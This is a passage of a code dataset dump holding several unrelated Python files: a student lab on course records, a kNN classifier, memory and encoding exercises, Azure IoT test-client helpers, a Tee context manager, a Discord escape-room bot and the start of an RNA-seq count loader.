'''Returns students' names'''\n    names = []\n    for s in l:\n        names.append(s.name)\n    return names\nprint(Student_names(StudentBody))\nprint()\n\nprint('d5-----------------')\nprint()\n\nimajors = ['CS', 'CSE', 'BIM', 'INFX', 'CGS', 'SE', 'ICS']\nprint('\\n')\n#Bullet 1\n\ndef ics_students(l : list)->list:\n    '''Returns list of students in ics'''\n    \n    lst = []\n    \n    for s in l:\n        if s.major in imajors:\n            lst.append(s)\n    return lst\nprint(ics_students(StudentBody))\n#Bullet 2\nprint()\ndef ics_names(l : list)->list:\n    '''Returns name of students in ics'''\n    lst1 = []\n    for s in l:\n        if s.major in imajors:\n            lst1.append(s.name)\n    return lst1\nprint(ics_names(StudentBody))\nprint()\n#Bullet 3\ndef ics_students_num(l : list)->list:\n    '''Returns number of ics students'''\n    \n    lst = 0\n    \n    for s in l:\n        if s.major in imajors:\n            lst += 1\n    return lst\nprint(ics_students_num(StudentBody))\nprint()\n#Bullet 4, 5, 6\ndef ics_senior(l : list)->list:\n    '''returns the list of ics seniors and prints num of seniors and prints average'''\n    \n    lst = []\n    num = 0\n    \n    for s in l:\n        if s.level == 'SR' and  s.major in imajors:\n            lst.append(s.name)\n            num += 1\n    print(num)\n    print(num/len(imajors)*100)\n    return lst\n    \nprint(ics_senior(StudentBody))\nprint()\n#Bullet 7\n\ndef ics_fresh(l : list)->float:\n    '''Returns the number of ics freshmen'''\n    \n    num = 0\n    for s in l:\n        if s.level == 'FR' and s.major in imajors and ics31 in s.studylist:\n            num += 1\n    return num\nprint(ics_fresh(StudentBody))\nprint()\n#Bullet 8\ndef get_fresh(l: list)-> float:\n    '''Returns number of fresh in ics31'''\n    num = 0\n    for s in l:\n        if s.level == 'FR' and ics31 in s.studylist:\n            num += 1\n    return num\ndef ics_fresh_units(l : list)->float:\n    '''returns the average units of ics fresh in ics31'''\n    \n    num = 0\n    for s in l:\n        for x in s.studylist:\n            if s.level == 'FR' and ics31 in s.studylist:\n                num += x.units\n    return num/get_fresh(l)\nprint(ics_fresh_units(StudentBody))\nprint()\n        \n        \n","sub_path":"lab_8_folder/ICS_31_lab_8.py","file_name":"ICS_31_lab_8.py","file_ext":"py","file_size_in_byte":6696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"98899187","text":"import numpy as np\nfrom math import sqrt\nfrom collections import Counter\n\n# 训练数据、标签\nfilm_data = [[100, 5],\n             [95, 3],\n             [105, 31],\n             [2, 59],\n             [3, 60],\n             [10, 80]]\n\nfilm_labels = [0, 0, 0, 1, 1, 1]\n\nfilm_train_data = np.array(film_data)\nfilm_train_labels = np.array(film_labels)\n\n# 测试数据\n# film_data_A = np.array([5, 70])\n\nfilm_data_A = np.array([[5, 70],\n                        [100, 2],\n                        [4, 60]])\n\n\n# print(film_train_data)\n# print(film_train_labels)\n\ndef accuracy_score(y_true, y_predict):\n    \"\"\"计算y_true和y_predict之间的准确率\"\"\"\n    assert len(y_true) == len(y_predict), \\\n        \"the size of y_true must be equal to the size of y_predict\"\n\n    return np.sum(y_true == y_predict) / len(y_true)\n\n\nclass KNNClassifier:\n\n    def __init__(self, k):\n        \"\"\"初始化kNN分类器\"\"\"\n        assert k >= 1, \"k must be valid\"\n        self.k = k\n        self._x_train = None\n        self._y_train = None\n\n    def fit(self, x_train, y_train):\n        \"\"\"根据训练数据集X_train和y_train训练kNN分类器\"\"\"\n        assert x_train.shape[0] == y_train.shape[0], \\\n            \"the size of x_train must be equal to the size of y_train\"\n        assert self.k <= x_train.shape[0], \\\n            \"the size of x_train must be at least k.\"\n\n        self._x_train = x_train\n        self._y_train = y_train\n        return self\n\n    def predict(self, x_predict):\n        \"\"\"给定待预测数据集X_predict，返回表示X_predict的结果向量\"\"\"\n        assert self._x_train is not None and self._y_train is not None, \\\n            \"must fit before predict!\"\n        assert x_predict.shape[1] == self._x_train.shape[1], \\\n            \"the feature number of x_predict must be equal to x_train\"\n\n        y_predict = [self._predict(x) for x in x_predict]\n        return np.array(y_predict)\n\n    def _predict(self, x):\n        \"\"\"给定单个待预测数据x，返回x的预测结果值\"\"\"\n        assert x.shape[0] == self._x_train.shape[1], \\\n            \"the feature number of x must be equal to x_train\"\n\n        distances = [sqrt(np.sum((x_train - x) ** 2))\n                     for x_train in self._x_train]\n        nearest = np.argsort(distances)\n\n        topK_y = [self._y_train[i] for i in nearest[:self.k]]\n        votes = Counter(topK_y)\n\n        return votes.most_common(1)[0][0]\n\n    def score(self, x_test, y_test):\n        \"\"\"根据测试数据集 x_test 和 y_test 确定当前模型的准确度\"\"\"\n\n        y_predict = self.predict(x_test)\n        return accuracy_score(y_test, y_predict)\n\n    def __repr__(self):\n        return \"KNN(k=%d)\" % self.k\n\n\nif __name__ == '__main__':\n    knn_clf = KNNClassifier(k=3)\n    knn_clf.fit(film_train_data, film_train_labels)\n    # 将其转换为二维数据\n    print(film_data_A)\n    film_data_A = film_data_A.reshape(3, -1)\n    print(film_data_A)\n    predict_labels = knn_clf.predict(film_data_A)\n    print(predict_labels)\n","sub_path":"MachineLearning/knn/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"208002162","text":"import sys, os\nimport numpy as np\n\nx = np.int8(100)\ny = np.int8(28)\nz = x + y\nprint(z) # integer overflow\n\n# two's complement bit representation of a number\nprint(np.binary_repr(127, width=8))\n\nprint(np.binary_repr(-2147483648, width=32))\nprint(np.binary_repr(2147483647, width=32))\n\n# size of object\nx = 0\nprint(\"0:\", sys.getsizeof(x))\n\nx = 9223372036854775807 # maximum value for 64-bit integers\nprint(sys.getsizeof(x))\n\n# bytes required to represent 32-bit integers\nnum_bytes = sys.getsizeof(2147483647)\nnum_mb = round(num_bytes*1000000000/1000000) # 1 billion integers\nprint(num_mb)\n\n# bits required to represent a given integer\nprint(int.bit_length(12))\n\ndef minimum_required_bits(list_of_integers):\n    min_req_bits = 0\n    for value in list_of_integers:\n        nb_bits = int.bit_length(value)\n        min_req_bits = max(min_req_bits, nb_bits)\n    return min_req_bits\n\nprint(minimum_required_bits([23, 43, -22]))\n\n# 1 billion integers fit into 32-bit\nwith open('identifiers.txt', encoding='utf8') as file:\n    values = [int(value) for value in list(file)]\n    print(minimum_required_bits(values))\n\n# size in bytes\nprint(sys.getsizeof(\"\"))\nprint(sys.getsizeof(\"data\"))\n\ns = \"你\"\nsize_s = sys.getsizeof(s)\nprint(size_s)\nsize_ss = sys.getsizeof(s + s)\nprint(size_ss)\n\n# 66 = 49 + 1 * 17 [49 (overhead) + 17 (1 byte per character)]\nprint(\"latin-1\", sys.getsizeof(\"Learning Python !\"))  \n\n# 108 = 74 + 2 * 17 [74 (overhead) + 17 * 2 (2 bytes per character)]\nprint(\"ucs-2\", sys.getsizeof(\"Learning Python 吧\")) # UCS-2 encoding\n\n# 144 = 76 + 4 * 17 [76 (overhead) + 17 * 4 (4 bytes per character)]\nprint(\"ucs-4\", sys.getsizeof(\"Learning Python 🐍\")) # UCS-4 encoding\n\nmessage = \"I really like learning about Python! 🐍\\n Me too! 😀😀\\n I can't wait to see what we will learn in the next course 🙃\\n\"\nmessage_latin_bytes = message.encode(encoding='Latin-1', errors='ignore')\ncleaned_message = message_latin_bytes.decode(encoding='Latin-1')\nmessage_size = sys.getsizeof(message)\ncleaned_message_size = sys.getsizeof(cleaned_message)\n\nwith open('utf8.txt', 'w', encoding='utf8') as file:\n    file.write(message)\nsize_utf8 = os.path.getsize('utf8.txt')\nprint(\"size_utf8\", size_utf8)\n\nwith open('utf32.txt', 'w', encoding='utf32') as file:\n    file.write(message)\nsize_utf32 = os.path.getsize('utf32.txt')\nprint(\"size_utf32\", size_utf32)\n\n# How much disk space will be required to store all transactions in website for next 20 years\nnum_days_in_a_year = 365\nnum_years = 20\nbytes_per_char = 32 / 8\nnum_transactions = 1000000\nusername_size = 20\nproduct_name_size = 50\n\nday_gb = (2*bytes_per_char*username_size + bytes_per_char*product_name_size)*num_transactions/(10**9)\nnum_gb = day_gb * num_days_in_a_year * num_years","sub_path":"pythonic/computer-science-concepts/memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"583731834","text":"# Copyright (c) Microsoft. All rights reserved.\n# Licensed under the MIT license. See LICENSE file in the project root for\n# full license information.\nimport adapters\nimport base64\nfrom horton_settings import settings\n\n\ndef get_ca_cert(object):\n    if (\n        object.connection_type == \"connection_string_with_edge_gateway\"\n        and settings.iotedge.ca_cert_base64\n    ):\n        return {\n            \"cert\": base64.b64decode(settings.iotedge.ca_cert_base64).decode(\"utf-8\")\n        }\n    else:\n        return {}\n\n\ndef connect_test_module_client():\n    \"\"\"\n    connect the module client for the code-under-test and return the client object\n    \"\"\"\n    client = adapters.create_adapter(\n        settings.test_module.adapter_address, \"module_client\"\n    )\n\n    client.device_id = settings.test_module.device_id\n    client.module_id = settings.test_module.module_id\n\n    if settings.test_module.connection_type == \"environment\":\n        client.connect_from_environment_sync(settings.test_module.transport)\n    else:\n        client.connect_sync(\n            settings.test_module.transport,\n            settings.test_module.connection_string,\n            get_ca_cert(settings.test_module),\n        )\n    return client\n\n\ndef connect_friend_module_client():\n    \"\"\"\n    connect the module client for the friend module and return the client object\n    \"\"\"\n    client = adapters.create_adapter(\n        settings.friend_module.adapter_address, \"module_client\"\n    )\n\n    client.device_id = settings.friend_module.device_id\n    client.module_id = settings.friend_module.module_id\n\n    if settings.friend_module.connection_type == \"environment\":\n        client.connect_from_environment_sync(settings.friend_module.transport)\n    else:\n        client.connect_sync(\n            settings.friend_module.transport,\n            settings.friend_module.connection_string,\n            get_ca_cert(settings.friend_module),\n        )\n    return client\n\n\ndef connect_registry_client():\n    \"\"\"\n    connect the module client for the Registry implementation we're using return the client object\n    \"\"\"\n    client = adapters.create_adapter(settings.registry.adapter_address, \"registry\")\n    client.connect_sync(settings.registry.connection_string)\n    return client\n\n\ndef connect_service_client():\n    \"\"\"\n    connect the module client for the ServiceClient implementation we're using return the client object\n    \"\"\"\n    client = adapters.create_adapter(settings.service.adapter_address, \"service\")\n    client.connect_sync(settings.service.connection_string)\n    return client\n\n\ndef connect_leaf_device_client():\n    \"\"\"\n    connect the device client for the leaf device and return the client object\n    \"\"\"\n    client = adapters.create_adapter(\n        settings.leaf_device.adapter_address, \"device_client\"\n    )\n\n    client.device_id = settings.leaf_device.device_id\n\n    client.connect_sync(\n        settings.leaf_device.transport,\n        settings.leaf_device.connection_string,\n        get_ca_cert(settings.leaf_device),\n    )\n    return client\n\n\ndef connect_test_device_client():\n    \"\"\"\n    connect the device client for the test device and return the client object\n    \"\"\"\n    client = adapters.create_adapter(\n        settings.test_device.adapter_address, \"device_client\"\n    )\n\n    client.device_id = settings.test_device.device_id\n\n    client.connect_sync(\n        settings.test_device.transport, settings.test_device.connection_string, {}\n    )\n    return client\n","sub_path":"test-runner/connections.py","file_name":"connections.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"423779232","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\n\nblock = []\nfor line in sys.stdin:\n    if line == '\\n':\n        block[0] = \"{} {}\".format(block[0], len(block) - 1)\n        for i in block:\n            print(i)\n        print()\n        block = []\n    else:\n        block.append(line.strip('\\n'))\n","sub_path":"handschriftherkenning/processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"360772482","text":"'''\nTee function in unix prints to Stdout as well as text files\nwe want to implement similar functionality\ncontext manager need to have __enter__ and __exit__functionality defined\n'''\n\nf1 = open('test.txt')\nf2 = open('problems.txt')\nfor one_file in [f1,f2]:\n    for one_line in one_file:\n        print(one_line,end='')\n\nf1 = open('out1.txt','w')\nf2 = open('out2.txt','w')\nfor one_file in [f1,f2]:\n    one_file.write('abc\\n')\n    one_file.write('abc1\\n')\n    one_file.write('abc2\\n')\n    one_file.write('abc3\\n')\n    one_file.close()\n\nclass Tee:\n    def __init__(self,*files):\n        self.files = files\n\n    def write(self,text):\n        for one_file in self.files:\n            one_file.write(text)\n\n    def writelines(self,lines):\n        for one_file in self.files:\n            one_file.writelines(lines)\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self,exc_typ,exc_val,exc_tb):\n        for one_file in self.files:\n            one_file.close()\n\n\nf1 = open('out1.txt','w')\nf2 = open('out2.txt','w')\n\nwith Tee(f1,f2) as t:\n    t.write(\"!!!!!1\\n\")\n    t.write(\"#####2\\n\")","sub_path":"Ex_11_Tee_Unix.py","file_name":"Ex_11_Tee_Unix.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"1659127","text":"import datetime\nimport random\nfrom time import time\n\n\nclass EscapeRoom:\n    def __init__(self):\n        self.admin_channel = 774633121122484244\n        # Status -> O, niets open\n        # 1, hagar open\n\n        self.team_channels = {\n            'Zeeroverslied': {\n                'channel_id': 774404823155474483,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n            },\n            'De Blauwvoet': {\n                'channel_id': 774607191105077258,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Het zwartbruine bier': {\n                'channel_id': 774607276559958026,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Het loze vissertje': {\n                'channel_id': 783423234959343667,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Die Rietjie': {\n                'channel_id': 783424010309599336,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'My Bonnie': {\n                'channel_id': 783424285774577674,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Loch Lomon': {\n                'channel_id': 783424477093822494,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Clementine': {\n                'channel_id': 783424702013636779,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Alouette': {\n                'channel_id': 783427974786580553,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Juchheidi': {\n                'channel_id': 783428086746185828,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Krambambouli': {\n                'channel_id': 783428189108043786,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Pintjedrinken': {\n                'channel_id': 783428322368815155,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Ein Prosit': {\n                'channel_id': 783428445543596062,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Al boven door het vensterken': {\n                'channel_id': 783428582448824344,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Het Kikkerlied': {\n                'channel_id': 783428689307762728,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Sarie Marais': {\n                'channel_id': 783428806937018398,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'The wild rover': {\n                'channel_id': 783429057752203294,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Uilenspiegel': {\n                'channel_id': 783429162060349440,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'When Johnny comes marching home': {\n                'channel_id': 783429261847035984,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Der Pappenheimer': {\n                'channel_id': 783429351584694282,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Annemarieken': {\n                'channel_id': 784152092973596723,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'De slag om het Gravensteen': {\n                'channel_id': 784174195407585333,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n            'Nummerlieke': {\n                'channel_id': 784173911499735060,\n                'status': [],\n                'current_tips': [],\n                'tip_count': {'hagar': 0,\n                              'biokot': 0,\n                              'kp': 0,\n                              'wc': 0,\n                              'vatenkot': 0},\n                'total_tips': 0,\n                'duration': time(),\n                'meme_count': 0,\n                'final_score': 0,\n\n            },\n        }\n        self.keys = ['Yorben', 'Yorben Joosen', 'yorben', 'yorben joosen', 's', 'S', '2241',\n                     'Yorben - Bas - Simon - Thomas - Siebe - Jaro - Wout', 'Yorben-Bas-Simon-Thomas-Siebe-Jaro-Wout',\n                     'yorben - bas - simon - thomas - siebe - jaro - wout', 'yorben-bas-simon-thomas-siebe-jaro-wout']\n        self.failwords = ['Nope',\n                          'Probeer nog maar eens',\n                          'Fout', 'Niet juist',\n                          '...',\n                          'Seriously?',\n                          'omfg, zijn jullie zelfs aan het proberen?',\n                          'Hoe komde daar zelfs op?',\n                          'Heb je de opgaven wel gelezen?',\n                          'Denken jullie eigenlijk na?',\n                          'Aan dit tempo zijn jullie morgen nog bezig',\n                          'Lies doet zelfs sneller een adje dan dat jullie dit raadsel oplossen',\n                          'Zzzz, Maak je me nu wakker voor een fout antwoord?']\n        self.replies = [\n            'Proficiat, jullie hebben den Hagar opengekregen, maar we zijn hier nog niet klaar. Van hieruit zullen '\n            'jullie de wc’s moeten vrijmaken en de deur naar de KP moet ook opengezet worden uiteraard. Misschien kan '\n            'Emma Peeters jullie hier wel mee helpen.',\n            'Amai, zalig jullie hebben het biokot geopend!',\n            'Huh? Het lijk wel of ik mijn opdrachten te makkelijk heb gemaakt!',\n            'De KP is nu ook geopend! Kei goed, van zodra het vatenkot ook open is dan kunnen we beginnen aan de '\n            'cantus!']\n        self.tips = \\\n            {'hagar': {\n                0: 'hagar: Kijk eens op Strava',\n                1: 'hagar: Vraag eens aan de bots “waar” ze wonen',\n                2: 'hagar: Zoek aan de hand van de tips de persoon die even ver van de kop woont als Emma, '\n                   'het antwoord is de naam van deze persoon!'},\n                'biokot': {\n                    0: 'biokot: Hebben jullie al eens geprobeerd op te zoeken waar deze codes voor staan?',\n                    1: 'biokot: Een kaart met een route is altijd handig',\n                    2: 'biokot: Kijk zeker naar de timing, de gevonden route vormt een letter.'},\n                'kp': {\n                    0: 'kp: Hebben jullie Emma haar facebook account al gezien',\n                    1: 'kp: Zoek naar dingen die niet thuishoren op de fotos',\n                    2: 'kp: Luister nog eens goed naar de voicemail'},\n                'wc': {\n                    0: 'wc: Hebben jullie de handleiding aandachtig genoeg gelezen?',\n                    1: 'wc: Education, je zoekt hier naar c=... . Ons nieuwe praesidium lid heeft wel een hele '\n                       'vreemde functie. Home, nul. Webshop, Probeer eens de hoodie te bestellen. Hier is nog een '\n                       'extra '\n                       'tip, indien je vast zit in het doolhof kan je in de helpdesk `appelsien` sturen. Een '\n                       'praesidium lid zal je dan verder helpen',\n                    2: 'wc: De juiste cijfers zijn: 7 69 52 43. Zoek zelf maar uit welke A, B, C en D zijn'},\n                'vatenkot': {\n                    0: 'vatenkot: Simon of Thomas zit in het midden.',\n                    1: 'vatenkot: Helemaal links zit Yorben en helemaal rechts zit Wout',\n                    2: 'vatenkot: Yorben zit naast Bas en Jaro zit naast Wout'},\n            }\n\n        self.start_time = time()\n        self.keys_kp = ['Cara', 'cara', 'CARA']\n\n    def start(self):\n        self.start_time = time()\n\n    def process(self, message):\n        for team, data in self.team_channels.items():\n            print(team)\n            if data['channel_id'] == message.channel.id:\n                # Check if code is correct\n                if message.content == '!help' or message.content == '!Help':\n                    return False, 0, 0, self.help_menu(team, data), ''\n                if '!tip' in message.content or '!Tip' in message.content:\n                    return False, 0, 0, self.tip(team, data, message.content), ''\n                elif message.content in self.keys or message.content in self.keys_kp:\n                    # Juist geraden! Dit moet verwerkt worden.\n                    print(self.keys[:4])\n                    if message.content in self.keys[:4] and 'hagar' not in data['status']:\n                        data['status'].append('hagar')\n                        return True, data['status'], team, self.replies[0], 'hagar'\n                    elif message.content in self.keys[5:6] and 'biokot' not in data['status']:\n                        data['status'].append('biokot')\n                        return True, data['status'], team, self.replies[1], 'biokot'\n                    elif message.content in self.keys[6] and 'wc' not in data['status']:\n                        data['status'].append('wc')\n                        return True, data['status'], team, self.replies[2], 'wc'\n                    elif message.content in self.keys_kp and 'kp' not in data['status']:\n                        data['status'].append('kp')\n                        return True, data['status'], team, self.replies[3], 'kp'\n                    elif message.content in self.keys[2:] and 'vatenkot' not in data['status']:\n                        if len(data['status']) != 4:\n                            return False, 0, 0, 'Zorg er voor dat de wc en de kp open zijn!', ''\n                        data['status'].append('vatenkot')\n                        if len(data['status']) == 5:\n                            return self.set_points(team, data)\n                else:\n                    return False, 0, 0, self.failwords[random.randint(0, len(self.failwords) - 1)], ''\n\n    def set_points(self, team, data):\n        reply = 'Proficiat team ' + team + ', \\n'\n        reply += 'Dankzij jullie zal onze cantus kunnen doorgaan!\\n'\n        data['duration'] = time() - self.start_time\n        reply += 'In totaal deden jullie er ' + str(\n            round(data['duration'] / 60)) + ' minuten over om alle opdrachten af te ronden!\\n'\n        if data['total_tips'] > 0:\n            if data['total_tips'] == 1:\n                reply += 'Helaas hebben jullie wel 1 tip gebruikt en zoals eerder gezegd zorgen tips voor een ' \\\n                         'straftijd... '\n            else:\n                reply += 'Helaas hebben jullie wel ' + str(\n                    data['total_tips']) + ' tips gebruikt en zoals eerder gezegd zorgen ' \\\n                                          'tips voor een straftijd... '\n            punishment = data['total_tips'] * 300\n            reply += 'De totale straftijd die jullie krijgen is ' + str(\n                punishment/60) + ' minuten, dit brengt jullie totaal op: '\n            data['duration'] += float(punishment)\n            reply += str(round(data['duration'] / 60)) + ' minuten.'\n            reply += '\\n*door afrondingen kan het zijn dat de som hierboven niet lijkt te kloppen. De uiteindelijke score wordt berekent tot op de microseconde!'\n        reply += '\\n\\nNu is het even wachten totdat de anderen klaar zijn, van zodra het zover is kan ik de winnaar ' \\\n                 'aankondigen! Alvast bedankt om mee te spelen en indien je nog graag wat blijft napraten dan kan dat ' \\\n                 'uiteraard! '\n        data['final_score'] = data['duration']\n        return True, data['status'], team, reply, 'vatenkot'\n        pass\n\n    def help_menu(self, team, data):\n        reply = 'Hey team ' + team + ', \\nDit is wat ik zoal kan:'\n        reply += '\\n`!help`: brengt je hier'\n        reply += '\\n`!meme`: Geeft je een toffe meme zodat je even kan ontspannen, geen zorgen de bot ruimt alles mooi weer op!'\n        reply += '\\n`!tip [NAAM VAN EEN KAMER]`: Ik bezorg je dan een tip, deze zullen wel meegerekend worden in de eindscore!'\n        reply += '\\n`Als je een antwoord denkt te weten dan moet je het hier sturen, ik begrijp vast wel over welke deur je het hebt!'\n\n        reply += '\\n\\nJullie tips:\\n'\n        if len(data['current_tips']) > 0:\n            for tip in data['current_tips']:\n                reply += tip + '\\n'\n        else:\n            reply += 'Jullie hebben deze ronde nog geen tips gebruikt!'\n        reply += '\\nIn totaal hebben jullie ' + str(data['total_tips']) + ' tips gebruikt'\n        return reply\n\n    def tip(self, team, data, msg):\n        comm = msg.split(' ')\n        reply = 'Jullie willen dus een tip? dat kan!\\n'\n        reply += self.tips[comm[1]][data['tip_count'][comm[1]]]\n        data['current_tips'].append(self.tips[comm[1]][data['tip_count'][comm[1]]])\n        data['tip_count'][comm[1]] += 1\n        data['total_tips'] += 1\n        return reply\n\n    def get_scores(self):\n        reply = '```\\nLive score bord'\n        scores = []\n        for team, data in self.team_channels.items():\n            scores.append([data['status'], team, data['final_score']])\n        # scores.sort(reverse=True)\n        reply += '\\n-----'\n        for status, team, score in scores:\n            temp = ''\n            for i in range(32 - len(team)):\n                temp += ' '\n            reply += '\\n' + team + ': ' + temp + 'status: ' + str(status) + '\\tscore: ' + str(score) + '\\n'\n            for i in range(70):\n                temp += '-'\n        reply += '\\n```'\n        return reply\n\n    def meme(self, message):\n        for team, data in self.team_channels.items():\n            if data['channel_id'] == message.channel.id:\n                if data['meme_count'] == 12:\n                    data['meme_count'] = 0\n                data['meme_count'] += 1\n                return data['meme_count']\n","sub_path":"EscapeRoom.py","file_name":"EscapeRoom.py","file_ext":"py","file_size_in_byte":21640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"389263299","text":"import numpy as np\n\ndef load_RNAseq_counts(filename,delimiter='\\t'):\n    \"\"\"\n    Loads a RNA-seq counts file from disk.\n\n    Parameters\n    ----------\n    filename : str\n        The name of the RNA-seq counts file to parse\n    delimiter : str\n        The character by which the parser will separate the columns. \n        It is recommended to pass '\\t' if your file is tab-delimited,\n        or ' ' if your file is space-delimited.\n\n    Returns\n    -------\n    (np.ndarray,List[str],List[str])\n        Returns a tuple containing a 2 x 2 np.ndarray of RNA-seq counts, where\n        each column represents a library and each row contains gene counts for a\n        given gene across all libraries, and two lists containing gene and replicate names. \n    \"\"\"\n    rep_order = []\n    with open(filename,'r') as handle:\n        columns = zip(*[line.split(delimiter) for line in handle])\n        columns = [list(column) for column in columns]\n        for column in columns:\n            name = column[0]\n            column.remove(name)\n            for i in range(len(column)):\n                try:\n                    column[i] = int(column[i].strip('\\n'))\n                except ValueError:\n                    column[i] = column[i].strip('\\n')\n            if 'gene' in name.strip('#').strip('\\n').lower():\n                gene_order = column\n                continue\n            else:\n                